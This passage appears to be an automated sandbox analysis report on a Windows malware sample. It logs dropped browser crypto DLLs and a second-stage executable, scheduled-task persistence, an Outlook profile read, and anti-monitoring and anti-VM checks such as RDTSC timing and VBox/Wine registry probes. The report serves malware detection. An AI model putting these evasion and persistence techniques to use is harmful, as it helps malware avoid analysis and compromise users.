Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2464256 > 1048576

Source: file.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x216600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.920000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Unpacked PE file: 17.2.JDGCFBAFBF.exe.e10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 19.2.explorti.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 23.2.explorti.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 25.2.explorti.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 27.2.explorti.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rxceoony:EW;zwqjotmk:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDA3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CDA3480

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.17.dr	Static PE information: real checksum: 0x1d3d90 should be: 0x1dd24a
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0x25a165
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1d3d90 should be: 0x1dd24a
Source: JDGCFBAFBF.exe.0.dr	Static PE information: real checksum: 0x1d3d90 should be: 0x1dd24a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name:
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name: .idata
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name:
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name: rxceoony
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name: zwqjotmk
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name: .taggant
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: rxceoony
Source: amadka[1].exe.0.dr	Static PE information: section name: zwqjotmk
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.17.dr	Static PE information: section name:
Source: explorti.exe.17.dr	Static PE information: section name: .idata
Source: explorti.exe.17.dr	Static PE information: section name:
Source: explorti.exe.17.dr	Static PE information: section name: rxceoony
Source: explorti.exe.17.dr	Static PE information: section name: zwqjotmk
Source: explorti.exe.17.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDB536 push ecx; ret		0_2_6CDDB549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_009FD82C push ecx; ret		19_2_009FD83F

Source: file.exe	Static PE information: section name: entropy: 7.9941784269067595
Source: file.exe	Static PE information: section name: entropy: 7.973056301433428
Source: file.exe	Static PE information: section name: entropy: 7.946374251055881
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name: entropy: 7.983257616739134
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name: rxceoony entropy: 7.952543249693762
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.983257616739134
Source: amadka[1].exe.0.dr	Static PE information: section name: rxceoony entropy: 7.952543249693762
Source: explorti.exe.17.dr	Static PE information: section name: entropy: 7.983257616739134
Source: explorti.exe.17.dr	Static PE information: section name: rxceoony entropy: 7.952543249693762

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE055F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CE055F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF60D3 second address: FF60E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460CF07FBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF60E3 second address: FF60ED instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3460BFB96Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF6378 second address: FF6391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop esi 0x00000008 jnl 00007F3460CF07F8h 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnp 00007F3460CF07F6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF6651 second address: FF665A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF665A second address: FF6660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF6660 second address: FF6667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF6667 second address: FF666D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
